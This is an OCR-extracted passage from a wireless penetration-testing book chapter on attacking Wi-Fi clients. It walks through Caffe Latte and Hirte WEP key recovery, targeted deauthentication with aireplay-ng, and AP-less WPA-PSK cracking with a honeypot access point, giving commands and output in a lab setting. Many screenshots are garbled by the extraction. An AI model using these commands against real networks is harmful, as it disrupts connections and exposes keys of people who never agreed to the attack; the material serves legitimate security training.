KB 0 1 2 3 4 5 6 7 8 9 10 11 12		depth 0/ 1 0/ 1 0/ 1 0/ 1 0/ 1 0/ 1 1/ 1 1/ 1/	h       b         1       A         1       C         1       C         1       C         5       5         1       C         1       C         1       C         1       C         1       C         1       C         1       C         2       C         KEY       L	yte(vota B(75520) D(72704) F(69888) B(64512) D(65024) J(65024) J(65024) F(67072) AB(59904) 2C(58112) AB(59904) 2C(58112) AB(57368) L2(57308) FOUND! [	<pre> &gt;)       4D (56576)       6C (60160)       6D (58368)       47 (60416)       7D (59904)       6D (57856)       A4 (58624)       8B (58112)       F7 (58880)       86 (57856)       E0 (57600)       48 (57600)       CE (55844)  AB:CD:EF:A </pre>	90 (56320) 7A (59904) EE (57600) B9 (60416) 43 (58624) 60 (58112) 40 (57856) 66 (58624) 41 (57344) FB (57344) 9F (57600) A4 (55076) B: CD : EF : AB	3A (56064) A0 (57088) AF (57344) 5E (59392) F9 (58112) CE (57088) D5 (57856) D5 (57856) A8 (57856) A8 (57856) 94 (57344) 47 (56576) 34 (56832) 1B (54892) : CD : EF : AB :	28(55552) D6(56832) 9A(56832) A1(57856) 03(57088) 44(56320) 16(57344) 81(57344) 81(57344) 0A(56576) 9D(56576) AF(56320) 68(54784) CD:EF:12 ]	B7(55552) BC(56576) 51(56320) 82(57600) EE(56576) 5C(55808) A2(57088) D6(57344) A0(57344) 08(56320) C4(56576) D7(56320) C0(54784)	BA(55552) C5(56576) A3(56320) E1(57088) 41(56320) 9E(55552) 24(56832) DA(57088) 11(57088) 11(57088) 25(56064) 17(55552) 8D(56064) 66(54748)	CB(55552) 1E(56320) C5(56320) E7(56576) 28(55552) 05(55040) 91(56832) 8E(55808) CC(56832) A9(55064) 21(55552) 22(55808) 4F(54564)	
rootal	De	ecry	ρted	correct	.y: 100%							

- [ 128 ] -

#### What just happened?

We were successful in retrieving the WEP key from just the wireless client without requiring an actual access point to be used or present in the vicinity. This is the power of the Caffe Latte attack.

The attack works by bit flipping and replaying ARP packets sent by the wireless client post association with the fake access point created by us. These bit flipped ARP Request packets cause more ARP response packets to be sent by the wireless client. Note that all these packets are encrypted using the WEP key stored on the client. Once we are able to gather a large number of these data packets, <code>aircrack-ng</code> is able to recover the WEP key easily.

#### Have a go hero – practice makes you perfect!

Try changing the WEP key and repeat the attack. This is a difficult attack and requires some practice to orchestrate successfully. It would also be a good idea to use Wireshark and examine the traffic on the wireless network.

## **De-Authentication and Dis-Association attacks**

We have seen De-Authentication attack in previous chapters as well in the context of the access point. In this chapter, we will explore the same in the context of the client.

In the next lab, we will send De-Authentication packets to just the client and break an established connection between the access point and the client.

## Time for action – De-Authenticating the client

Follow the instructions to get started:

 Let us first bring our access point Wireless Lab online again. Let us keep it running on WEP to prove that even with encryption enabled it is possible to attack the access point and client connection. Let us verify that the access point is up by using airodump-ng:

E 0		root@bt: ~ - Shell - Konsole
Session Edit View Book	kmarks Settings Help	
CH 3][Elapsed:	32 s ][ 2011-03-24	09:55
BSSID	PWR RXQ Beacons	#Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25	-19 100 291	0 0 3 54e.WEP WEP Wireless Lab
BSSID	STATION	PWR Rate Lost Packets Probes
(not associated)	10:9A:DD:F4:B4:BD	-51 0 - 1 0 9 vivek
(not associated)	2C:81:58:EB:DD:CD	-73 0 - 1 0 2

For More Information: www.packtpub.com/backtrack-5-wireless-penetrationtesting-beginners-guide/book

[ 129 ]

2. Let us connect our client to this access point as we verify it with airodump-ng:

E.	0												roo	t@bt: -	Shell	I - Konsol	e		
ľ	lenup	n I	Edit	Vie	₽W	Bool	kmarks	Set	tings Help										
ſ	СН	3	][	Ela	apse	ed :	24 s	][	2011-03-24	10:22									
I	BSSI	D					PWR	RXC	) Beacons	#Data	n, #/	s	СН	MB	ENC	CIPHER	AUTH	ESSID	
I	00:2	21:	91:	D2 :	8E :	25	-19	100	255	8	5	0	3	54e.	WEP	WEP		Wireless	Lab
L	00:2	25:	5E :	17:	: C8 :	00	-71	6	) 5	6	)	0	1	54	WEP	WEP		swapnil	
L	00:2	25:	5E :	17:	C8 :	02	-72	6	) 3	6	)	0	1	54	OPN			<length:< td=""><td>0&gt;</td></length:<>	0>
L	00:2	25:	5E:	17:	: C8 :	01	-72	e	) 4	6	)	Θ	1	54	OPN			<lenath:< td=""><td>0&gt;</td></lenath:<>	0>
I	00:2	25:	5E:	17:	C8 :	03	-72	e	2	6	)	0	1	54	OPN			<length:< td=""><td>0&gt;</td></length:<>	0>
l	BSSI	D					STA	LION	I	PWR	Rate	)	Lo	st P	acket	s Prob	es		
I	00:2	21:	91:	D2 :	8E :	25	60:	FB:4	2:D5:E4:01	-16	Θ-	36e		473	2	47 Wir	eless	Lab,Vivel	k

**3.** We will now run aireplay-ng to target the client and access point connection:



**4.** The client gets disconnected and tries to reconnect to the access point, we can verify this by using Wireshark just as before:

로 I I I I I I I I I I I I I I I I I I I
Elle Edit View <u>G</u> o Capture Analyze Statistics Telephony Iools Help
www.www.www.www.www.www.www.www.www.ww
Filter: Wan.addr == 60.fb.42:d5:e4.01
No. Time Source Destination Protoco Info
400 7.549932 D-Link_d2:Be:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=108, FN=0, Flags=
401 7.552121 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=109, FN=0, Flags=
403 7.556724 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=110, FN=0, Flags=
404 7.557491 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=108, FN=0, Flags=
405 7.557493 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=109, FN=0, Flags=
406 7.559783 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=111, FN=0, Flags=
408 7.564329 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=112, FN=0, Flags=
410 7.566480 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=113, FN=0, Flags=
411 7.568434 Apple_d5:e4:01 Broadcast IEEE 80:Probe Request, SN=2674, FN=0, Flags=C, SSID=Broadcast
412 7.569799 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=114, FN=0, Flags=
413 7.571247 D.Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Probe Response, SN=3054, FN=0, Flags=C, BI=100, SSID="Wireless Lab"
415 7.572149 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=115, FN=0, Flags=
418 7.575565 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=116, FN=0, Flags=
419 7.577873 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=117, FN=0, Flags=
422 7.581004 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=110, FN=0, Flags=
423 7.581005 Apple_d5:e4:01 D.Link_d2:8e:25 IEEE 80:Deauthentication, SN=111, FN=0, Flags=
424 7.581006 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=112, FN=0, Flags=
425 7.581007 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=113, FN=0, Flags=
426 7.581008 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=114, FN=0, Flags=
427 7.581009 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=115, FN=0, Flags=
428 7.581010 D-Link_d2:8e:25 Apple_d5:e4:01 IEEE 80:Deauthentication, SN=116, FN=0, Flags=
4297.581011 Apple_d5:e4:01 D-Link_d2:8e:25 IEEE 80:Deauthentication, SN=117, FN=0, Flags=
P Frame 119: 38 bytes on wire (304 bits), 38 bytes captured (304 bits)
P Radiotap Header v0, Length 12
▼ IEEE 802.11 Deauthentication, Flags:
Type/Subtype: Deauthentication (OxOc)
Frame Control: 0x00C0 (Normal)
Duration: 314
Destination address: Apple_d5:e4:01 (60:fb:42:d5:e4:01)
Source address: D-Lank_d2:8e:25 (00:21:91:d2:8e:25)
BSS Id: D-Link_d2:Be:25 (00:21:91:d2:Be:25)
Fragment number: 0
Sequence number: 0
▷ IEEE 802-11 wireless LAN management frame
0000 00 00 00 00 04 80 00 00 02 00 18 00 00 00 38 01
0010 60 fb 42 d5 e4 01 00 21 91 d2 8e 25 00 21 91 d2 .8
File: "/tmp/wiresharkXXXXELuThE" 6   Packets: 584 Displayed: 283 Marked: 0 Dropped: 0  Frofile: Default

[ 130 ] -

For More Information: www.packtpub.com/backtrack-5-wireless-penetrationtesting-beginners-guide/book

**5.** We have now seen that even in the presence of WEP encryption, it is possible to De-Authenticate a client and disconnect it. The same is valid even in the presence of WPA/WPA2. Let us now set our access point to WPA encryption and verify the same.

WIRELESS NETWORK SETTINGS	personal information.
	Enable Auto Channel Scan
Enable Wireless : 🗹 Always 🗘 Add New	so that the router can select the best possible
Wireless Network Name: Wireless Lab (Also called the SSID)	channel for your wireless network to operate on.
802.11 Mode: Mixed 802.11n, 802.11g and 802.11b	Enabling Hiddon Mode is
Enable Auto Channel Scan : 🗆	another way to secure
Wireless Channel : 2.422 GHz - CH 3	your network. With this option enabled, no
Transmission Rate : Best (automatic) 🗘 (Mbit/s)	wireless clients will be able
Channel Width : 20 MHz 🗘	to see your wireless network when they scan
Visibility Status : 🖲 Visible 🔘 Invisible	to see what's available.
	to connect to your router,
WIRELESS SECURITY MODE	you will need to manually
	Network Name on each
To protect your privacy you can configure wireless security features. This device supports three wireless security modes, including WEP, WPA-Personal, and WPA-Enterprise. WEP is the original wireless encryption standard. WPA provides a higher level of security. WPA-Personal does not require an authentication server. The WPA-Enterprise option requires an external RADIUS server.	device. If you have enabled Wireless Security, make sure you write down <u>the</u>
Security Mode : WPA-Personal	Key or Passphrase that you have configured. You will need to enter this information on any
WPA	wireless device that you connect to your wireless
Use <b>WPA or WPA2</b> mode to achieve a balance of strong security and best compatibility. This mode uses WPA for legacy clients while maintaining higher security with stations that are WPA2 capable. Also the strongest cipher that the client supports will be used. For best security, use <b>WPA2 Only</b> mode. This mode uses AES(CCMP) cipher and legacy stations are not allowed access with WPA security. For maximum compatibility, use <b>WPA Only</b> . This mode uses TKIP cipher. Some gaming and legacy devices work only in this mode.	network.
To achieve better wireless performance use <b>WPA2 Only</b> security mode (or in other words AES cipher).	
WPA Mode : WPA2 Only	
Cipher Type : AES \$	
Group Key Update Interval : 3600 (seconds)	
PRE-SHARED KEY	
Enter an 8- to 63-character alphanumeric pass-phrase. For good security it should be of ample length and should not be a commonly known phrase.	
Pre-Shared Key :	

- [ 131 ] -

**6.** Let's connect our client to the access point and ensure it is connected:

1	2 0		root@bt: ~ - Shell - Konsole	
	Session Edit View Book	marks Settings Help		
	CH 3][Elapsed:	16 s ][ 2011-03-24	24 10:50	
	BSSID	PWR RXQ Beacons	s #Data, #/s CH MB ENC CIPHER AUTH ESSID	
	00:21:91:D2:8E:25	-17 96 166	5 0 3 54e. WPA2 CCMP PSK Wireless Lab	
	BSSID	STATION	PWR Rate Lost Packets Probes	
	(not associated) (not associated) 00:21:91:D2:8E:25	00:26:5E:7D:76:5D 00:16:EA:7F:C9:1A 60:FB:42:D5:E4:01	iD -72 0 - 1 30 3 nkna LA -72 0 - 1 0 3 Sunny j1 -8 0 - 1e 179 138 Wireless Lab,Vivek	

7. Let us now run aireplay-ng to disconnect the client from the access point:

<b>2</b> 0	root@bt: ~ - Shell No. 2 - Konsole
Session Edit View Bookmarks Se	attings Help
root@bt:-# aireplay-ngd 10:51:36 Waiting for beac 10:51:36 Sending 64 direc root@bt:-# root@bt:-#	eauth 1 -c 60:FB:42:D5:E4:01 -a 00:21:91:D2:8E:25 mon0 on frame (BSSID: 00:21:91:D2:8E:25) on channel 3 ted DeAuth. STMAC: [60:FB:42:D5:E4:01] [13 64 ACKs]
root@bt:~# root@bt:~#	

**8.** Using Wireshark we can once again verify that this works as well:

Monu - k			mon0 - Wireshark	
Meriu Edit View Go	/ <u>Capture</u> <u>A</u> nalyze <u>S</u> ta	atistics Telephony Tools	Help	
		0 0 2 = 5	5 0 0 E E + = % 🗹 🖉 🖉 🗞 🖸	
Filter: wlan.addr == 6	50:fb:42:d5:e4:01	▼ Expre	ssion Clear Apply	
No. Time	Source	Destination	Protoco Info	
198 9.514050	Apple d5:e4:01	D-Link d2:8e:25	IEEE 80:Deauthentication, SN=5, FN=0, Flags=	
200 9.516311	D-Link_d2:8e:25	Apple_d5:e4:01	IEEE 80:Deauthentication, SN=6, FN=0, Flags=	
201 9.518451	Apple d5:e4:01	D-Link d2:8e:25	IEEE 80:Deauthentication, SN=7, FN=0, Flags=	
204 9.523088	D-Link_d2:8e:25	Apple_d5:e4:01	IEEE 80:Deauthentication, SN=8, FN=0, Flags=	
205 9.523946	D-Link_d2:Be:25	Apple_d5:e4:01	IEEE 80:Deauthentication, SN=6, FN=0, Flags=	13
206 9.523949	Apple_d5:e4:01	D-Link_d2:8e:25	IEEE 80:Deauthentication, SN=7, FN=0, Flags=	122
207 9.525277	Apple_d5:e4:01	D-Link_d2:8e:25	IEEE 80.Deauthentication, SN=9, FN=0, Flags=	
208 9.528588	D-Link_d2:8e:25	Apple_d5:e4:01	IEEE 80:Deauthentication, SN=10, FN=0, Flags=	
210 9.530929	Apple d5:e4:01	D-Link d2:8e:25	IEEE 80:Deauthentication, SN=11, FN=0, Flags=	
211 9.534289	D-Link d2:8e:25	Apple d5:e4:01	IEEE 80:Deauthentication, SN=12, FN=0, Flags=	
213 9.536574	Apple d5:e4:01	D-Link d2:8e:25	IEEE 80:Deauthentication, SN=13, FN=0, Flags=	
214 9.539704	D-Link d2:8e:25	Apple d5:e4:01	IEEE 80:Deauthentication, SN=8, FN=0, Flags=	
215 9.539706	Apple d5:e4:01	D-Link d2:8e:25	IEEE 80:Deauthentication, SN=9, FN=0, Flags=	
216 9.539708	D-Link d2:8e:25	Apple d5:e4:01	IEEE 80:Deauthentication, SN=10, FN=0, Flags=	
217 9.539709	Apple d5:e4:01	D-Link d2:8e:25	IEEE 80:Deauthentication, SN=11, FN=0, Flags=	
218 9.539710	D-Link d2:8e:25	Apple d5:e4:01	IEEE 80 Deauthentication, SN=12, FN=0, Flags=	
219 9.539711	Apple d5:e4:01	D-Link d2:8e:25	IEEE 80:Deauthentication, SN=13, FN=0, Flags=	
221 9.542865	D-Link d2:Be:25	Annle d5:e4:01	TEEE BO:Deauthentication, SN=14, EN=0, Flags=	
222 9.545191	Apple d5:e4:01	D-Link d2:8e:25	IEEE 80 Deauthentication, SN=15, EN=0, Elags=	
224 9.548992	D-Link d2:8e:25	Apple d5:e4:01	IEEE 80 Deauthentication, SN=16, EN=0, Elags	
225 9.549741	D-Link d2:8e:25	Apple_d5:e4:01	IFFE B0:Deauthentication, SN=14, EN=0, Flags	
226 9 549743	Apple d5:e4:01	Del ink d2:8e:25	IEEE 80 Deauthentication, SN=15, EN=0, Flags=	6
007 0 553050	• 1 /r +.01			
▶ Frame 3: 56 bytes	s on wire (448 bits),	56 bytes captured (44	18 bits)	
Radiotap Header	v0, Length 26			
▼ IEEE 802.11 QoS M	Null function (No dat	a), Flags:RTC		
Type/Subtype: 0	QoS Null function (No	data) (0x2c)		
▶ Frame Control:	OxO9CB (Normal)			
Duration: 258				
BSS Id: D-Link	_d2:8e:25 (00:21:91:d	l2:8e:25)		
Source address	: Apple_d5:e4:01 (60:	fb:42:d5:e4:01)		
Destination adv	ldress: D-Link_d2:8e:2	5 (00:21:91:d2:8e:25)		
Fragment number	r: 0			
Sequence number	r: 480			
▶ Frame check see	quence: 0xaec50193 [c	orrect]		
0000 00 00 1a 00 5	2f 48 00 00 13 0c 78	32 02 00 00 00	/H x2	1
0010 10 30 76 09 0	c0 00 f6 01 00 00 c8	09 02 01 00 21 .0v.		1
0020 91 d2 8e 25 6	60 fb 42 d5 e4 01 00	21 91 d2 8e 25%	`.В!%	
0030 00 le 07 00 a	ae c5 01 93			1
File: "/tmp/wireshark	xXXXXseOdaG" 8 Packe	ts: 702 Displayed: 414 Mar	ced: 0 Dropped: 0	Profile: Default

- [ 132 ] -

#### For More Information:

www.packtpub.com/backtrack-5-wireless-penetrationtesting-beginners-guide/book

#### What just happened?

We just learnt how to disconnect a wireless client selectively from an access point using De-Authentication frames even in the presence of encryption schemas like WEP/WPA/WPA2. This was done by sending a De-Authentication packet to just the access point - client pair, instead of sending a broadcast De-Authentication to the entire network.

#### Have a go hero – Dis-Association attack on the client

In the preceding exercise, we used a De-Authentication attack to break the connection. Try using a Dis-Association packet to break the established connection between a client and an access point.

## **Hirte attack**

We've already seen how to conduct the Caffe Latte attack. The Hirte attack extends the Caffe Latte attack using fragmentation techniques and allows for almost any packet to be used.

More information on the Hirte attack is available on the AIRCRACK-NG website: <a href="http://www.aircrack-ng.org/doku.php?id=hirte">http://www.aircrack-ng.org/doku.php?id=hirte</a>.

We will now use <code>aircrack-ng</code> to conduct the Hirte attack on the same client.

#### Time for action – cracking WEP with the Hirte attack

Create a WEP access point exactly as in the Caffe Latte attack using the airbase-ng tool. The only additional option is the -N option instead of the -L option to launch the Hirte attack:

root@bt: ~ - Shell - KonsoleSession Edit View Bookmarks Settings Helproot@bt: ~# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -W 1 -N mon021:32:14 Created tap interface at021:32:14 Trying to set MTU on at0 to 150021:32:14 Trying to set MTU on mon0 to 180021:32:14 Access Point with BSSID 00:21:91:D2:8E:25 started.

[ 133 ]

2. Start airodump-ng in a separate window to capture packets for the Wireless Lab Honeypot:

```
      Image: session Edit View Bookmarks Settings Help

      Foot@bt:~# airodump-ng -c 3 --bssid 00:21:91:D2:8E:25 --write Hirte mon0
```

**3.** Airodump-ng will now start monitoring this network and storing the packets in Hirte-01.cap file.



**4.** Once the roaming client connects to out Honeypot AP, the Hirte attack is automatically launched by airbase-ng:

- 0	root@bt: ~ - Shell - Konsole	
Session Edit	View Bookmarks Settings Help	
21:32:14	Trying to set MTU on mon0 to 1800	
21:32:14	Access Point with BSSID 00:21:91:D2:8E:25 started.	
21:35:42	Got 140 bytes keystream: 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	SKA from 60:FB:42:D5:E4:01	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Client 60:FB:42:D5:E4:01 associated (WEP) to ESSID: "Wireless Lab"	
21:35:42	Starting Hirte attack against 60:FB:42:D5:E4:01 at 100 pps.	

#### For More Information: www.packtpub.com/backtrack-5-wireless-penetrationtesting-beginners-guide/book

[ 134 ] -

**5.** We start aircrack-ng as in the case of the Caffe Latte attack and eventually the key would be cracked as shown next:

						roe	ot@bt: ~ - Shell	- Konsole <3>						
Session	Edit Viev	w	Bookmarks	Settings	Help									
	Aircrack-ng 1.0 r1645													
	[00:25:36] Tested 1285089 keys (got 48988 IVs)													
КВ	dep	th	byte	(vote)										
0	0/	1	AB(7	5520) 4	4D(56576)	90(56320)	3A(56064)	2B(55552)	B7(55552)	BA(55552)	CB(55552)			
1	0/	1	CD (72	2704) (	6C(60160)	7A(59904)	A0(57088)	D6(56832)	BC(56576)	C5(56576)	1E(56320)			
2	0/	1	EF ( 69	9888) I	ED(58368)	EE(57600)	AF(57344)	9A(56832)	51(56320)	A3(56320)	C5(56320)			
3	0/	1	AB ( 64	4512) 4	47(60416)	B9(60416)	5E(59392)	A1(57856)	82(57600)	E1(57088)	E7(56576)			
4	0/	1	CD ( 6	5024)	7D(59904)	43(58624)	F9(58112)	03(57088)	EE(56576)	41(56320)	28(55552)			
5	1/	5	51(58	3112) (	6D(57856)	72(57344)	CE(57088)	44(56320)	5C(55808)	9E(55552)	05(55040)			
6	0/	1	AB ( 6	7584)/	A4(58624)	6D(58112)	FB(57856)	16(57344)	A2(57088)	24(56832)	91(56832)			
7	0/	1	CD ( 6	5024) 8	8B(58112)	40(57856)	D5(57856)	81(57344)	D6(57344)	DA(57088)	8E(55808)			
8	0/	1	EF(6	7072) I	F7(58880)	66(58624)	A8(57856)	5D(57344)	A0(57344)	11(57088)	CC(56832)			
9	1/	2	AB ( 59	9904) 8	86(57856)	41(57344)	94(57344)	0A(56576)	08(56320)	25(56064)	A9(56064)			
10	1/	1	2C(58	3112) I	E0(57600)	FB(57344)	47(56576)	9D(56576)	C4(56576)	17(55552)	21(55552)			
11	1/	1	A8(5	7856) 4	48(57600)	9F(57600)	34(56832)	AF(56320)	D7(56320)	8D(56064)	22(55808)			
12	1/	2	12(5)	7308) (	CE(55844)	A4(55076)	1B(54892)	68(54784)	C0(54784)	66(54748)	4F(54564)			
	12 1/ 2 12(57308) CE(55844) A4(55076) 1B(54892) 68(54784) CO(54784) 66(54748) 4F(54564) KEY FOUND! [ AB:CD:EF:AB:CD:EF:AB:CD:EF:AB:CD:EF:12 ] Decrypted correctly: 100%													
rootal	bt:~#													

#### What just happened?

We launched the Hirte attack against a WEP client which was isolated and away from the authorized network. We cracked the key exactly as in the Caffe Latte attack case.

#### Have a go hero – practice, practice, practice

We would recommend setting different WEP keys on the client and trying this exercise a couple of times to gain confidence. You may notice many times that you have to reconnect the client to get it to work.

## **AP-less WPA-Personal cracking**

In a previous chapter, we have seen how to crack WPA/WPA2 PSK using aircrack-ng. The basic idea was to capture a four-way WPA handshake and then launch a dictionary attack.

The million dollar questions is—would it be possible to crack WPA-Personal with just the client? No access point!

[ 135 ] -

Attacking the Client

Let's revisit the WPA cracking exercise to jog our memory.



To crack WPA, we need the following four parameters from the Four-Way Handshake— Authenticator Nounce, Supplicant Nounce, Authenticator MAC, Supplicant MAC. Now the interesting thing is that we do not need all of the four packets in the handshake to extract this information. We can get this information with either all four packets, or packet 1 and 2, or just packet 2 and 3.

In order to crack WPA-PSK, we will bring up a WPA-PSK Honeypot and when the client connects to us, only Message 1 and Message 2 will come through. As we do not know the passphrase, we cannot send Message 3. However, Message 1 and Message 2 contain all the information required to begin the key cracking process.



- **[ 136 ]** -



#### Time for action – AP-less WPA cracking

**1.** We will setup a WPA-PSK Honeypot with the ESSID Wireless Lab. The  $-z_2$  option creates a WPA-PSK access point which uses TKIP:

<b>3</b> 0							root@bt	:~-9	6hell - Konso	le				
Menuon I	Edit View	Bookma	arks Set	ttings H	Help									
root@bi 23:51:0	t:~# ai 09 Cre	rbase- ated t	ng -c ap in	3 -a terfa	00:21 ce at0	:91:D2	:8E:25	-е	"Wireles	s Lab''	-W 1	-z 2	mon0	
23:51:0 23:51:0 23:51:1	09 Try 09 Try 10 Acc	ing to ing to ess Po	set   set   int w	MTU o MTU o ith B	n at0 n mon0 SSID 0	to 150 to 18 0:21:9	0 00 1:D2:8	E:25	started					

2. Let's also start airodump-ng to capture packets from this network:

<b>e</b>					root@bt: ~ - Shell No. 2 - Konsole	
Session	n Edit	View	Bookmarks	Settings	Help	
root(	bt:~	# ai	rodump-nç	ј-сЗ	bssid 00:21:91:D2:8E:25write AP-less-WPA-cracking mon0	

**3.** Now when our roaming client connects to this access point, it starts the handshake but fails to complete it after Message 2 as discussed previously:

Menuon Edit View Bookmarks Settings Help
root@bt:~# airbase-ng -c 3 -a 00:21:91:D2:8E:25 -e "Wireless Lab" -W 1 -z 2 mon0
23:56:01 Created tap interface at0
23:56:01 Trying to set MTU on at0 to 1500
23:56:01 Access Point with BSSID 00:21:91:D2:8E:25 started.
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"
23:56:30 Client 60:FB:42:D5:E4:01 associated (WPA1;TKIP) to ESSID: "Wireless Lab"

[ 137 ] -

Attacking the Client

**4.** But airodump-ng reports that the handshake has been captured:

- 0	root@bt: ~ - Shell No. 2 - Konsole
Menuon Edit View Bookmark	s Settings Help
CH 3 ][ Elapsed: 1	min ][ 2011-06-27 23:57 ][ WPA handshake: 00:21:91:D2:8E:25
BSSID	PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:91:D2:8E:25	0 100 1254 34 0 3 54 WPA TKIP PSK Wireless Lab
BSSID	STATION PWR Rate Lost Packets Probes
00:21:91:D2:8E:25	60:FB:42:D5:E4:01 -18 1 - 1 0 73

5. We run the airodump-ng capture file through aircrack-ng with the same dictionary file as before, eventually the passphrase is cracked as shown next:

<b>a</b> 0										roc	ot@b	t: ~ ·	- She	ill - K	lonsc	ole <	2>		
Session	Edit View Bookmark	s	Settin	ngs	Help														
	Aircrack-ng 1.0 r1645																		
	[00:00:00] 176 keys tested (382.44 k/s)																		
	KEY FOUND! [ abcdefgh ]																		
	Master Key	:	D6 71	C1 5B	F1 D6	E5 F3	BD F1	F5 1A	E8 CD	1A 7E	A4 9A	A2 B3	B8 7E	32 36	F4 48	08 06	99 8B	BD 01	
	Transient Key	:	1B 39 4B C1	E5 2E DD 99	1B 30 6B 2C	AF 8C BB 02	B9 A5 28 98	CE A8 02 52	80 7B 38 5A	EB 90 6B F7	5C 4C 3A 12	52 7A B4 3A	FA C4 D5 C7	EF 6F 47 65	1E BF AF 8E	24 0D 92 DF	9D BE F6 7E	C4 C6 62 A5	
root@ł	EAPOL HMAC	:	FE	ЗD	3C	0F	8E	65	0F	2C	CD	37	74	62	1A	FB	1F	02	

#### What just happened?

We were able to crack the WPA key with just the client. This was possible because even with just the first two packets, we have all the information required to launch a dictionary attack on the handshake.

· [ 138 ] -

#### Have a go hero – AP-less WPA cracking

We would recommend setting different WEP keys on the client and trying this exercise a couple of times to gain confidence. You may notice many times that you have to reconnect the client to get it to work.

#### Pop quiz – attacking the client

- 1. What encryption key can Caffe Latte attack recover?
  - a. None
  - b. WEP
  - c. WPA
  - d. WPA2
- 2. A Honeypot access point would typically use:
  - a. No Encryption, Open Authentication
  - b. No Encryption, Shared Authentication
  - c. WEP Encryption, Open Authentication
  - d. None of the above
- 3. Which one of the following are DoS Attacks?
  - a. Mis-Association attack
  - b. De-Authentication attacks
  - c. Dis-Association attacks
  - d. Both (b) and (c)
- 4. A Caffe Latte attack requires
  - a. That the wireless client be in radio range of the access point
  - b. That the client contains a cached and stored WEP key
  - c. WEP encryption with at least 128 bit encryption
  - d. Both (a) and (c)

**[ 139 ]** -

Attacking the Client

## Summary

In this chapter, we have learned that even the wireless client is susceptible to attacks. These include the following— Honeypot and other Mis-Association attacks, Caffe Latte attack to retrieve the key from the wireless client, De-Authentication and Dis-Association attacks causing a Denial of Service, Hirte attack as an alternative to retrieving the WEP key from a roaming client, and finally cracking the WPA-Personal passphrase with just the client.

In the next chapter, we will use all our learning until now to conduct various advanced wireless attacks on both the client and infrastructure side. So, quickly flip the page to the next chapter!

[ 140 ] -

## Where to buy this book

